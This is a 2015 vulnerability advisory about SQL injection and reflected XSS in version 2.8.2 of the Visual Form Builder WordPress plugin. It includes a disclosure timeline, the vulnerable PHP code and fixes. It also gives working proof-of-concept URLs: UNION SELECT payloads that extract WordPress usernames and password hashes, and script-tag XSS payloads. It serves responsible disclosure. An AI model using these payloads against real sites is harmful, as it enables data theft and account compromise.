• Vulnerability: SQL Injection & Reflected XSS
  • Affected Software: Visual Form Builder (WordPress Plugin)
  • Affected Version: 2.8.2 (probably also prior versions)
  • Patched Version: 2.8.3
  • Risk: High
  • Vendor Contacted: 2015-05-06
  • Vendor Fix: 2015-05-09
  • Public Disclosure: 2015-05-15

The current version (v2.8.2) of the WordPress plugin Visual Form Builder is vulnerable to reflected XSS as well as SQL injection attacks.

The damage each attack on it’s own can achieve is limited. The SQL injection can lead to data leaks, and possibly priviledge escalation or code execution, but an admin login is required. And as WordPress secures it’s relevant cookies, it’s not possible to gain a login via XSS, it is only possibly to eg display the login page and hope that the admin enters their password or inject a JavaScript keylogger; both mean that an admin doesn’t just have to visit a website, but also has to additionally enter their password somewhere. With XSS, it is also possibly to bypass CSRF, so an attacker could eg change PHP scripts if DISALLOW_FILE_EDIT is false, which hopefully is not the case.

Combined, these attacks get interesting: Via XSS it is possible to let the admin execute the SQL injection, and then send the results to the attacker. The admin only has to click on a link once, and does not have to perform any further actions.

SQL injection

Risk

High; any user with access to this plugin can retrieve any data from the database that the WordPress database user has access to; in combination with the XSS below, the attacker could also get the admin to execute these queries for them.

POC

localhost/wordpress/wp-admin/admin.php?page=visual-form-builder&form-filter=1+or+1%3D2
localhost/wordpress/wp-admin/admin.php?page=visual-form-builder&form-filter=1+or+1%3D1

This is a very basic SQL injection, so it is possibly to directly extract any data the db user has access to:

localhost/wordpress/wp-admin/admin.php?page=visual-form-builder&form-filter=1+order+by+2+%23
localhost/wordpress/wp-admin/admin.php?page=visual-form-builder&form-filter=1+union+all+select+1%2C2+%23
localhost/wordpress/wp-admin/admin.php?page=visual-form-builder&form-filter=1+union+all+select+version()%2C2+%23
localhost/wordpress/wp-admin/admin.php?page=visual-form-builder&form-filter=1+union+all+select+user_login,user_pass+from+wp_users %23

Code

The function current_filter_action() returns user input:

    class-entries-detail.php:447
        function current_filter_action() {
            if ( isset( $_REQUEST['form-filter'] ) && -1 !=
$_REQUEST['form-filter'] )
                return $_REQUEST['form-filter'];

            return false;
        }

Which is then used in two locations directly inside SQL queries, without any sanitation:

    class-entries-detail.php:550
            if ( $this->current_filter_action() )
                $where .= 'AND form_id = ' . $this->current_filter_action();
    [...]
            $total_items = $wpdb->get_var( "SELECT COUNT(*) FROM
$this->entries_table_name AS entries WHERE 1=1 $where" );

and

    class-entries-detail.php:130
        function get_entries( $orderby = 'date', $order = 'ASC', $per_page,
$offset = 0, $search = '' ){
    [...]
            if ( $this->current_filter_action() )
                $where .= 'AND forms.form_id = ' . $this->current_filter_action();
    [...]
            $cols = $wpdb->get_results( "SELECT forms.form_title,
entries.entries_id, entries.form_id, entries.subject,
entries.sender_name, entries.sender_email, entries.emails_to,
entries.date_submitted, entries.ip_address FROM $this->form_table_name
AS forms INNER JOIN $this->entries_table_name AS entries ON
entries.form_id = forms.form_id WHERE 1=1 $where $search ORDER BY
$sql_order LIMIT $per_page $offset" );

Mitigation

At the very least, $wpdb->prepare should be used.

XSS

Risk

Medium; Arbitrary JavaScript execution when victim clicks on link.

POC

There are reflected XSS attacks in at least two places:

   localhost/wordpress/wp-admin/admin.php?page=visual-form-builder&s=<script>alert(1)</script>
   localhost/wordpress/wp-admin/admin.php?page=vfb-entries&s=<script>alert(1)<script>

Code

visual-form-builder.php:1617 and 1794

            if ( isset( $_REQUEST['s'] ) && !empty( $_REQUEST['s'] ) )
                echo '<span class="subtitle">' . sprintf( __( 'Search results for
"%s"' , 'visual-form-builder' ), $_REQUEST['s'] );

Mitigation

Using htmlentities or the appropriate WordPresses functions around user input before echoing it.